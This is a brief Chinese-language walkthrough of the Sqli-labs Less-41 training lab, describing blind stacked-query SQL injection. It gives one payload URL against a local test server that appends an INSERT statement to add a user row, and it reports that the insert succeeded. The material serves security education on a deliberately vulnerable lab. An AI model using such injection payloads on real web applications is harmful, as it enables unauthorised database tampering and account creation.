此处与less-39是一致的,区别在于41错误不回显。所以我们称之为盲注。

Payload:

http://127.0.0.1/sql/Less-41/index.php?id=1;insert into users(id,username,password) values ('41','less41','hello')--+

Sqli-labs Less-41 堆叠注入

可以看到插入成功

Sqli-labs Less-41 堆叠注入

 

相关文章: